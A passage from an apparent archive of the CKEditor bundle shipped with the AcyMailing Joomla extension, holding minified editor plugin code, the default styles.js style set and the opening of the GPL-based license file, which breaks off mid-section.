(a=new f(this.editor));for(var b=this.index,c=this.snapshots;0<b&&this.currentImage.equalsContent(c[b-1]);)b-=1;c.splice(b,this.index-b+1,a);this.index=b;this.currentImage=a}},updateSelection:function(a){if(!this.snapshots.length)return!1;var b=this.snapshots,c=b[b.length-1];return c.equalsContent(a)&&!c.equalsSelection(a)?(this.currentImage=b[b.length-1]=a,!0):!1},lock:function(a,b){if(this.locked)this.locked.level++;else if(a)this.locked={level:1};else{var c=null;if(b)c=!0;else{var d=new f(this.editor,
!0);this.currentImage&&this.currentImage.equalsContent(d)&&(c=d)}this.locked={update:c,level:1}}},unlock:function(){if(this.locked&&!--this.locked.level){var a=this.locked.update;this.locked=null;if(!0===a)this.update();else if(a){var b=new f(this.editor,!0);a.equalsContent(b)||this.update()}}}};e.navigationKeyCodes={37:1,38:1,39:1,40:1,36:1,35:1,33:1,34:1};e.keyGroups={PRINTABLE:0,FUNCTIONAL:1};e.isNavigationKey=function(a){return!!e.navigationKeyCodes[a]};e.getKeyGroup=function(a){var b=e.keyGroups;
return l[a]?b.FUNCTIONAL:b.PRINTABLE};e.getOppositeKeyGroup=function(a){var b=e.keyGroups;return a==b.FUNCTIONAL?b.PRINTABLE:b.FUNCTIONAL};e.ieFunctionalKeysBug=function(a){return CKEDITOR.env.ie&&e.getKeyGroup(a)==e.keyGroups.FUNCTIONAL};var f=CKEDITOR.plugins.undo.Image=function(a,b){this.editor=a;a.fire("beforeUndoImage");var c=a.getSnapshot();CKEDITOR.env.ie&&c&&(c=c.replace(/\s+data-cke-expando=".*?"/g,""));this.contents=c;b||(this.bookmarks=(c=c&&a.getSelection())&&c.createBookmarks2(!0));a.fire("afterUndoImage")},
h=/\b(?:href|src|name)="[^"]*?"/gi;f.prototype={equalsContent:function(a){var b=this.contents,a=a.contents;if(CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks))b=b.replace(h,""),a=a.replace(h,"");return b!=a?!1:!0},equalsSelection:function(a){var b=this.bookmarks,a=a.bookmarks;if(b||a){if(!b||!a||b.length!=a.length)return!1;for(var c=0;c<b.length;c++){var d=b[c],e=a[c];if(d.startOffset!=e.startOffset||d.endOffset!=e.endOffset||!CKEDITOR.tools.arrayCompare(d.start,e.start)||!CKEDITOR.tools.arrayCompare(d.end,
e.end))return!1}}return!0}};var i=CKEDITOR.plugins.undo.NativeEditingHandler=function(a){this.undoManager=a;this.ignoreInputEvent=!1;this.keyEventsStack=new k;this.lastKeydownImage=null};i.prototype={onKeydown:function(a){var b=a.data.getKey();if(229!==b)if(-1<CKEDITOR.tools.indexOf(g,a.data.getKeystroke()))a.data.preventDefault();else if(this.keyEventsStack.cleanUp(a),a=this.undoManager,this.keyEventsStack.getLast(b)||this.keyEventsStack.push(b),this.lastKeydownImage=new f(a.editor),e.isNavigationKey(b)||
this.undoManager.keyGroupChanged(b))if(a.strokesRecorded[0]||a.strokesRecorded[1])a.save(!1,this.lastKeydownImage,!1),a.resetType()},onInput:function(){if(this.ignoreInputEvent)this.ignoreInputEvent=!1;else{var a=this.keyEventsStack.getLast();a||(a=this.keyEventsStack.push(0));this.keyEventsStack.increment(a.keyCode);this.keyEventsStack.getTotalInputs()>=this.undoManager.strokesLimit&&(this.undoManager.type(a.keyCode,!0),this.keyEventsStack.resetInputs())}},onKeyup:function(a){var b=this.undoManager,
a=a.data.getKey(),c=this.keyEventsStack.getTotalInputs();this.keyEventsStack.remove(a);if(!e.ieFunctionalKeysBug(a)||!this.lastKeydownImage||!this.lastKeydownImage.equalsContent(new f(b.editor,!0)))if(0<c)b.type(a);else if(e.isNavigationKey(a))this.onNavigationKey(!0)},onNavigationKey:function(a){var b=this.undoManager;(a||!b.save(!0,null,!1))&&b.updateSelection(new f(b.editor));b.resetType()},ignoreInputEventListener:function(){this.ignoreInputEvent=!0},attachListeners:function(){var a=this.undoManager.editor,
b=a.editable(),c=this;b.attachListener(b,"keydown",function(a){c.onKeydown(a);if(e.ieFunctionalKeysBug(a.data.getKey()))c.onInput()},null,null,999);b.attachListener(b,CKEDITOR.env.ie?"keypress":"input",c.onInput,c,null,999);b.attachListener(b,"keyup",c.onKeyup,c,null,999);b.attachListener(b,"paste",c.ignoreInputEventListener,c,null,999);b.attachListener(b,"drop",c.ignoreInputEventListener,c,null,999);b.attachListener(b.isInline()?b:a.document.getDocumentElement(),"click",function(){c.onNavigationKey()},
null,null,999);b.attachListener(this.undoManager.editor,"blur",function(){c.keyEventsStack.remove(9)},null,null,999)}};var k=CKEDITOR.plugins.undo.KeyEventsStack=function(){this.stack=[]};k.prototype={push:function(a){return this.stack[this.stack.push({keyCode:a,inputs:0})-1]},getLastIndex:function(a){if("number"!=typeof a)return this.stack.length-1;for(var b=this.stack.length;b--;)if(this.stack[b].keyCode==a)return b;return-1},getLast:function(a){a=this.getLastIndex(a);return-1!=a?this.stack[a]:
null},increment:function(a){this.getLast(a).inputs++},remove:function(a){a=this.getLastIndex(a);-1!=a&&this.stack.splice(a,1)},resetInputs:function(a){if("number"==typeof a)this.getLast(a).inputs=0;else for(a=this.stack.length;a--;)this.stack[a].inputs=0},getTotalInputs:function(){for(var a=this.stack.length,b=0;a--;)b+=this.stack[a].inputs;return b},cleanUp:function(a){a=a.data.$;!a.ctrlKey&&!a.metaKey&&this.remove(17);a.shiftKey||this.remove(16);a.altKey||this.remove(18)}}})();(function(){function k(a){var e=this.editor,b=a.document,c=b.body,d=b.getElementById("cke_actscrpt");d&&d.parentNode.removeChild(d);(d=b.getElementById("cke_shimscrpt"))&&d.parentNode.removeChild(d);(d=b.getElementById("cke_basetagscrpt"))&&d.parentNode.removeChild(d);c.contentEditable=!0;CKEDITOR.env.ie&&(c.hideFocus=!0,c.disabled=!0,c.removeAttribute("disabled"));delete this._.isLoadingData;this.$=c;b=new CKEDITOR.dom.document(b);this.setup();this.fixInitialSelection();CKEDITOR.env.ie&&(b.getDocumentElement().addClass(b.$.compatMode),
e.config.enterMode!=CKEDITOR.ENTER_P&&this.attachListener(b,"selectionchange",function(){var a=b.getBody(),c=e.getSelection(),d=c&&c.getRanges()[0];d&&(a.getHtml().match(/^<p>(?:&nbsp;|<br>)<\/p>$/i)&&d.startContainer.equals(a))&&setTimeout(function(){d=e.getSelection().getRanges()[0];if(!d.startContainer.equals("body")){a.getFirst().remove(1);d.moveToElementEditEnd(a);d.select()}},0)}));if(CKEDITOR.env.webkit||CKEDITOR.env.ie&&10<CKEDITOR.env.version)b.getDocumentElement().on("mousedown",function(a){a.data.getTarget().is("html")&&
setTimeout(function(){e.editable().focus()})});l(e);try{e.document.$.execCommand("2D-position",!1,!0)}catch(g){}(CKEDITOR.env.gecko||CKEDITOR.env.ie&&"CSS1Compat"==e.document.$.compatMode)&&this.attachListener(this,"keydown",function(a){var b=a.data.getKeystroke();if(b==33||b==34)if(CKEDITOR.env.ie)setTimeout(function(){e.getSelection().scrollIntoView()},0);else if(e.window.$.innerHeight>this.$.offsetHeight){var c=e.createRange();c[b==33?"moveToElementEditStart":"moveToElementEditEnd"](this);c.select();
a.data.preventDefault()}});CKEDITOR.env.ie&&this.attachListener(b,"blur",function(){try{b.$.selection.empty()}catch(a){}});CKEDITOR.env.iOS&&this.attachListener(b,"touchend",function(){a.focus()});c=e.document.getElementsByTag("title").getItem(0);c.data("cke-title",c.getText());CKEDITOR.env.ie&&(e.document.$.title=this._.docTitle);CKEDITOR.tools.setTimeout(function(){if(this.status=="unloaded")this.status="ready";e.fire("contentDom");if(this._.isPendingFocus){e.focus();this._.isPendingFocus=false}setTimeout(function(){e.fire("dataReady")},
0);CKEDITOR.env.ie&&setTimeout(function(){if(e.document){var a=e.document.$.body;a.runtimeStyle.marginBottom="0px";a.runtimeStyle.marginBottom=""}},1E3)},0,this)}function l(a){function e(){var c;a.editable().attachListener(a,"selectionChange",function(){var d=a.getSelection().getSelectedElement();d&&(c&&(c.detachEvent("onresizestart",b),c=null),d.$.attachEvent("onresizestart",b),c=d.$)})}function b(a){a.returnValue=!1}if(CKEDITOR.env.gecko)try{var c=a.document.$;c.execCommand("enableObjectResizing",
!1,!a.config.disableObjectResizing);c.execCommand("enableInlineTableEditing",!1,!a.config.disableNativeTableHandles)}catch(d){}else CKEDITOR.env.ie&&(11>CKEDITOR.env.version&&a.config.disableObjectResizing)&&e(a)}function m(){var a=[];if(8<=CKEDITOR.document.$.documentMode){a.push("html.CSS1Compat [contenteditable=false]{min-height:0 !important}");var e=[],b;for(b in CKEDITOR.dtd.$removeEmpty)e.push("html.CSS1Compat "+b+"[contenteditable=false]");a.push(e.join(",")+"{display:inline-block}")}else CKEDITOR.env.gecko&&
(a.push("html{height:100% !important}"),a.push("img:-moz-broken{-moz-force-broken-image-icon:1;min-width:24px;min-height:24px}"));a.push("html{cursor:text;*cursor:auto}");a.push("img,input,textarea{cursor:default}");return a.join("\n")}CKEDITOR.plugins.add("wysiwygarea",{init:function(a){a.config.fullPage&&a.addFeature({allowedContent:"html head title; style [media,type]; body (*)[id]; meta link [*]",requiredContent:"body"});a.addMode("wysiwyg",function(e){function b(b){b&&b.removeListener();a.editable(new j(a,
d.$.contentWindow.document.body));a.setData(a.getData(1),e)}var c="document.open();"+(CKEDITOR.env.ie?"("+CKEDITOR.tools.fixDomain+")();":"")+"document.close();",c=CKEDITOR.env.air?"javascript:void(0)":CKEDITOR.env.ie?"javascript:void(function(){"+encodeURIComponent(c)+"}())":"",d=CKEDITOR.dom.element.createFromHtml('<iframe src="'+c+'" frameBorder="0"></iframe>');d.setStyles({width:"100%",height:"100%"});d.addClass("cke_wysiwyg_frame cke_reset");var g=a.ui.space("contents");g.append(d);if(c=CKEDITOR.env.ie||
CKEDITOR.env.gecko)d.on("load",b);var f=a.title,h=a.fire("ariaEditorHelpLabel",{}).label;f&&(CKEDITOR.env.ie&&h&&(f+=", "+h),d.setAttribute("title",f));if(h){var f=CKEDITOR.tools.getNextId(),i=CKEDITOR.dom.element.createFromHtml('<span id="'+f+'" class="cke_voice_label">'+h+"</span>");g.append(i,1);d.setAttribute("aria-describedby",f)}a.on("beforeModeUnload",function(a){a.removeListener();i&&i.remove()});d.setAttributes({tabIndex:a.tabIndex,allowTransparency:"true"});!c&&b();CKEDITOR.env.webkit&&
(c=function(){g.setStyle("width","100%");d.hide();d.setSize("width",g.getSize("width"));g.removeStyle("width");d.show()},d.setCustomData("onResize",c),CKEDITOR.document.getWindow().on("resize",c));a.fire("ariaWidget",d)})}});CKEDITOR.editor.prototype.addContentsCss=function(a){var e=this.config,b=e.contentsCss;CKEDITOR.tools.isArray(b)||(e.contentsCss=b?[b]:[]);e.contentsCss.push(a)};var j=CKEDITOR.tools.createClass({$:function(){this.base.apply(this,arguments);this._.frameLoadedHandler=CKEDITOR.tools.addFunction(function(a){CKEDITOR.tools.setTimeout(k,
0,this,a)},this);this._.docTitle=this.getWindow().getFrame().getAttribute("title")},base:CKEDITOR.editable,proto:{setData:function(a,e){var b=this.editor;if(e)this.setHtml(a),this.fixInitialSelection(),b.fire("dataReady");else{this._.isLoadingData=!0;b._.dataStore={id:1};var c=b.config,d=c.fullPage,g=c.docType,f=CKEDITOR.tools.buildStyleHtml(m()).replace(/<style>/,'<style data-cke-temp="1">');d||(f+=CKEDITOR.tools.buildStyleHtml(b.config.contentsCss));var h=c.baseHref?'<base href="'+c.baseHref+'" data-cke-temp="1" />':
"";d&&(a=a.replace(/<!DOCTYPE[^>]*>/i,function(a){b.docType=g=a;return""}).replace(/<\?xml\s[^\?]*\?>/i,function(a){b.xmlDeclaration=a;return""}));a=b.dataProcessor.toHtml(a);d?(/<body[\s|>]/.test(a)||(a="<body>"+a),/<html[\s|>]/.test(a)||(a="<html>"+a+"</html>"),/<head[\s|>]/.test(a)?/<title[\s|>]/.test(a)||(a=a.replace(/<head[^>]*>/,"$&<title></title>")):a=a.replace(/<html[^>]*>/,"$&<head><title></title></head>"),h&&(a=a.replace(/<head[^>]*?>/,"$&"+h)),a=a.replace(/<\/head\s*>/,f+"$&"),a=g+a):a=
c.docType+'<html dir="'+c.contentsLangDirection+'" lang="'+(c.contentsLanguage||b.langCode)+'"><head><title>'+this._.docTitle+"</title>"+h+f+"</head><body"+(c.bodyId?' id="'+c.bodyId+'"':"")+(c.bodyClass?' class="'+c.bodyClass+'"':"")+">"+a+"</body></html>";CKEDITOR.env.gecko&&(a=a.replace(/<body/,'<body contenteditable="true" '),2E4>CKEDITOR.env.version&&(a=a.replace(/<body[^>]*>/,"$&<\!-- cke-content-start --\>")));c='<script id="cke_actscrpt" type="text/javascript"'+(CKEDITOR.env.ie?' defer="defer" ':
"")+">var wasLoaded=0;function onload(){if(!wasLoaded)window.parent.CKEDITOR.tools.callFunction("+this._.frameLoadedHandler+",window);wasLoaded=1;}"+(CKEDITOR.env.ie?"onload();":'document.addEventListener("DOMContentLoaded", onload, false );')+"<\/script>";CKEDITOR.env.ie&&9>CKEDITOR.env.version&&(c+='<script id="cke_shimscrpt">window.parent.CKEDITOR.tools.enableHtml5Elements(document)<\/script>');h&&(CKEDITOR.env.ie&&10>CKEDITOR.env.version)&&(c+='<script id="cke_basetagscrpt">var baseTag = document.querySelector( "base" );baseTag.href = baseTag.href;<\/script>');
a=a.replace(/(?=\s*<\/(:?head)>)/,c);this.clearCustomData();this.clearListeners();b.fire("contentDomUnload");var i=this.getDocument();try{i.write(a)}catch(j){setTimeout(function(){i.write(a)},0)}}},getData:function(a){if(a)return this.getHtml();var a=this.editor,e=a.config,b=e.fullPage,c=b&&a.docType,d=b&&a.xmlDeclaration,g=this.getDocument(),b=b?g.getDocumentElement().getOuterHtml():g.getBody().getHtml();CKEDITOR.env.gecko&&e.enterMode!=CKEDITOR.ENTER_BR&&(b=b.replace(/<br>(?=\s*(:?$|<\/body>))/,
""));b=a.dataProcessor.toDataFormat(b);d&&(b=d+"\n"+b);c&&(b=c+"\n"+b);return b},focus:function(){this._.isLoadingData?this._.isPendingFocus=!0:j.baseProto.focus.call(this)},detach:function(){var a=this.editor,e=a.document,a=a.window.getFrame();j.baseProto.detach.call(this);this.clearCustomData();e.getDocumentElement().clearCustomData();a.clearCustomData();CKEDITOR.tools.removeFunction(this._.frameLoadedHandler);(e=a.removeCustomData("onResize"))&&e.removeListener();a.remove()}}})})();
CKEDITOR.config.disableObjectResizing=!1;CKEDITOR.config.disableNativeTableHandles=!0;CKEDITOR.config.disableNativeSpellChecker=!0;CKEDITOR.config.contentsCss=CKEDITOR.getUrl("contents.css");(function(){function h(b,e,c){var i=[],g=[],a;for(a=0;a<b.styleSheets.length;a++){var d=b.styleSheets[a];if(!(d.ownerNode||d.owningElement).getAttribute("data-cke-temp")&&!(d.href&&"chrome://"==d.href.substr(0,9)))try{for(var f=d.cssRules||d.rules,d=0;d<f.length;d++)g.push(f[d].selectorText)}catch(h){}}a=g.join(" ");a=a.replace(/(,|>|\+|~)/g," ");a=a.replace(/\[[^\]]*/g,"");a=a.replace(/#[^\s]*/g,"");a=a.replace(/\:{1,2}[^\s]*/g,"");a=a.replace(/\s+/g," ");a=a.split(" ");b=[];for(g=0;g<a.length;g++)f=
a[g],c.test(f)&&!e.test(f)&&-1==CKEDITOR.tools.indexOf(b,f)&&b.push(f);for(a=0;a<b.length;a++)c=b[a].split("."),e=c[0].toLowerCase(),c=c[1],i.push({name:e+"."+c,element:e,attributes:{"class":c}});return i}CKEDITOR.plugins.add("stylesheetparser",{init:function(b){b.filter.disable();var e;b.once("stylesSet",function(c){c.cancel();b.once("contentDom",function(){b.getStylesSet(function(c){e=c.concat(h(b.document.$,b.config.stylesheetParser_skipSelectors||/(^body\.|^\.)/i,b.config.stylesheetParser_validSelectors||
/\w+\.\w+/));b.getStylesSet=function(b){if(e)return b(e)};b.fire("stylesSet",{styles:e})})})},null,null,1)}})})();(function(){function f(a,b,c){var e=CKEDITOR.document.getById(c),d;if(e&&(c=a.fire("uiSpace",{space:b,html:""}).html))a.on("uiSpace",function(a){a.data.space==b&&a.cancel()},null,null,1),d=e.append(CKEDITOR.dom.element.createFromHtml(g.output({id:a.id,name:a.name,langDir:a.lang.dir,langCode:a.langCode,space:b,spaceId:a.ui.spaceId(b),content:c}))),e.getCustomData("cke_hasshared")?d.hide():e.setCustomData("cke_hasshared",1),d.unselectable(),d.on("mousedown",function(a){a=a.data;a.getTarget().hasAscendant("a",
1)||a.preventDefault()}),a.focusManager.add(d,1),a.on("focus",function(){for(var a=0,b,c=e.getChildren();b=c.getItem(a);a++)b.type==CKEDITOR.NODE_ELEMENT&&(!b.equals(d)&&b.hasClass("cke_shared"))&&b.hide();d.show()}),a.on("destroy",function(){d.remove()})}var g=CKEDITOR.addTemplate("sharedcontainer",'<div id="cke_{name}" class="cke {id} cke_reset_all cke_chrome cke_editor_{name} cke_shared cke_detached cke_{langDir} '+CKEDITOR.env.cssClass+'" dir="{langDir}" title="'+(CKEDITOR.env.gecko?" ":"")+'" lang="{langCode}" role="presentation"><div class="cke_inner"><div id="{spaceId}" class="cke_{space}" role="presentation">{content}</div></div></div>');
CKEDITOR.plugins.add("sharedspace",{init:function(a){a.on("loaded",function(){var b=a.config.sharedSpaces;if(b)for(var c in b)f(a,c,b[c])},null,null,9)}})})();CKEDITOR.plugins.add("sourcedialog",{init:function(a){a.addCommand("sourcedialog",new CKEDITOR.dialogCommand("sourcedialog"));CKEDITOR.dialog.add("sourcedialog",this.path+"dialogs/sourcedialog.js");a.ui.addButton&&a.ui.addButton("Sourcedialog",{label:a.lang.sourcedialog.toolbar,command:"sourcedialog",toolbar:"mode,10"})}});CKEDITOR.config.plugins='basicstyles,blockquote,dialogui,dialog,clipboard,button,panelbutton,panel,floatpanel,colorbutton,colordialog,menu,contextmenu,elementspath,enterkey,entities,popup,filebrowser,floatingspace,listblock,richcombo,font,format,horizontalrule,htmlwriter,image,indent,indentlist,justify,fakeobjects,link,list,maximize,pastefromword,pastetext,removeformat,resize,sourcearea,stylescombo,tab,table,tabletools,toolbar,undo,wysiwygarea,stylesheetparser,sharedspace,sourcedialog';CKEDITOR.config.skin='moono';(function() {var setIcons = function(icons, strip) {var path = CKEDITOR.getUrl( 'plugins/' + strip );icons = icons.split( ',' );for ( var i = 0; i < icons.length; i++ )CKEDITOR.skin.icons[ icons[ i ] ] = { path: path, offset: -icons[ ++i ], bgsize : icons[ ++i ] };};if (CKEDITOR.env.hidpi) setIcons('bold,0,,italic,24,,strike,48,,subscript,72,,superscript,96,,underline,120,,blockquote,144,,copy-rtl,168,,copy,192,,cut-rtl,216,,cut,240,,paste-rtl,264,,paste,288,,bgcolor,312,,textcolor,336,,horizontalrule,360,,image,384,,indent-rtl,408,,indent,432,,outdent-rtl,456,,outdent,480,,justifyblock,504,,justifycenter,528,,justifyleft,552,,justifyright,576,,anchor-rtl,600,,anchor,624,,link,648,,unlink,672,,bulletedlist-rtl,696,,bulletedlist,720,,numberedlist-rtl,744,,numberedlist,768,,maximize,792,,pastefromword-rtl,816,,pastefromword,840,,pastetext-rtl,864,,pastetext,888,,removeformat,912,,source-rtl,936,,source,960,,table,984,,redo-rtl,1008,,redo,1032,,undo-rtl,1056,,undo,1080,,sourcedialog-rtl,1104,,sourcedialog,1128,','icons_hidpi.png');else setIcons('bold,0,auto,italic,24,auto,strike,48,auto,subscript,72,auto,superscript,96,auto,underline,120,auto,blockquote,144,auto,copy-rtl,168,auto,copy,192,auto,cut-rtl,216,auto,cut,240,auto,paste-rtl,264,auto,paste,288,auto,bgcolor,312,auto,textcolor,336,auto,horizontalrule,360,auto,image,384,auto,indent-rtl,408,auto,indent,432,auto,outdent-rtl,456,auto,outdent,480,auto,justifyblock,504,auto,justifycenter,528,auto,justifyleft,552,auto,justifyright,576,auto,anchor-rtl,600,auto,anchor,624,auto,link,648,auto,unlink,672,auto,bulletedlist-rtl,696,auto,bulletedlist,720,auto,numberedlist-rtl,744,auto,numberedlist,768,auto,maximize,792,auto,pastefromword-rtl,816,auto,pastefromword,840,auto,pastetext-rtl,864,auto,pastetext,888,auto,removeformat,912,auto,source-rtl,936,auto,source,960,auto,table,984,auto,redo-rtl,1008,auto,redo,1032,auto,undo-rtl,1056,auto,undo,1080,auto,sourcedialog-rtl,1104,auto,sourcedialog,1128,auto','icons.png');})();CKEDITOR.lang.languages={"de":1,"en":1,"es":1,"fr":1,"it":1,"nl":1,"pt-br":1,"ru":1};}());
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/styles.js000060400000003204152455305310023742 0ustar00

CKEDITOR.stylesSet.add( 'default', [


	{ name: 'Italic Title',		element: 'h2', styles: { 'font-style': 'italic' } },
	{ name: 'Subtitle',			element: 'h3', styles: { 'color': '#aaa', 'font-style': 'italic' } },
	{
		name: 'Special Container',
		element: 'div',
		styles: {
			padding: '5px 10px',
			background: '#eee',
			border: '1px solid #ccc'
		}
	},



	{ name: 'Marker',			element: 'span', attributes: { 'class': 'marker' } },

	{ name: 'Big',				element: 'big' },
	{ name: 'Small',			element: 'small' },
	{ name: 'Typewriter',		element: 'tt' },

	{ name: 'Computer Code',	element: 'code' },
	{ name: 'Keyboard Phrase',	element: 'kbd' },
	{ name: 'Sample Text',		element: 'samp' },
	{ name: 'Variable',			element: 'var' },

	{ name: 'Deleted Text',		element: 'del' },
	{ name: 'Inserted Text',	element: 'ins' },

	{ name: 'Cited Work',		element: 'cite' },
	{ name: 'Inline Quotation',	element: 'q' },

	{ name: 'Language: RTL',	element: 'span', attributes: { 'dir': 'rtl' } },
	{ name: 'Language: LTR',	element: 'span', attributes: { 'dir': 'ltr' } },


	{
		name: 'Styled image (left)',
		element: 'img',
		attributes: { 'class': 'left' }
	},

	{
		name: 'Styled image (right)',
		element: 'img',
		attributes: { 'class': 'right' }
	},

	{
		name: 'Compact table',
		element: 'table',
		attributes: {
			cellpadding: '5',
			cellspacing: '0',
			border: '1',
			bordercolor: '#ccc'
		},
		styles: {
			'border-collapse': 'collapse'
		}
	},

	{ name: 'Borderless Table',		element: 'table',	styles: { 'border-style': 'hidden', 'background-color': '#E6E6FA' } },
	{ name: 'Square Bulleted List',	element: 'ul',		styles: { 'list-style-type': 'square' } }
] );


com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/LICENSE.md000060400000205141152455305310023471 0ustar00Software License Agreement
==========================

CKEditor - The text editor for Internet - http://ckeditor.com
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.

Licensed under the terms of any of the following licenses at your
choice:

 - GNU General Public License Version 2 or later (the "GPL")
   http://www.gnu.org/licenses/gpl.html
   (See Appendix A)

 - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
   http://www.gnu.org/licenses/lgpl.html
   (See Appendix B)

 - Mozilla Public License Version 1.1 or later (the "MPL")
   http://www.mozilla.org/MPL/MPL-1.1.html
   (See Appendix C)

You are not required to, but if you want to explicitly declare the
license you have chosen to be bound to when using, reproducing,
modifying and distributing this software, just include a text file
titled "legal.txt" in your version of this software, indicating your
license choice. In any case, your choice will not restrict any
recipient of your version of this software to use, reproduce, modify
and distribute this software under any of the above licenses.

Sources of Intellectual Property Included in CKEditor
-----------------------------------------------------

Where not otherwise indicated, all CKEditor content is authored by
CKSource engineers and consists of CKSource-owned intellectual
property. In some specific instances, CKEditor will incorporate work
done by developers outside of CKSource with their express permission.

Trademarks
----------

CKEditor is a trademark of CKSource - Frederico Knabben. All other brand
and product names are trademarks, registered trademarks or service
marks of their respective holders.

---

Appendix A: The GPL License
---------------------------

GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software-to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
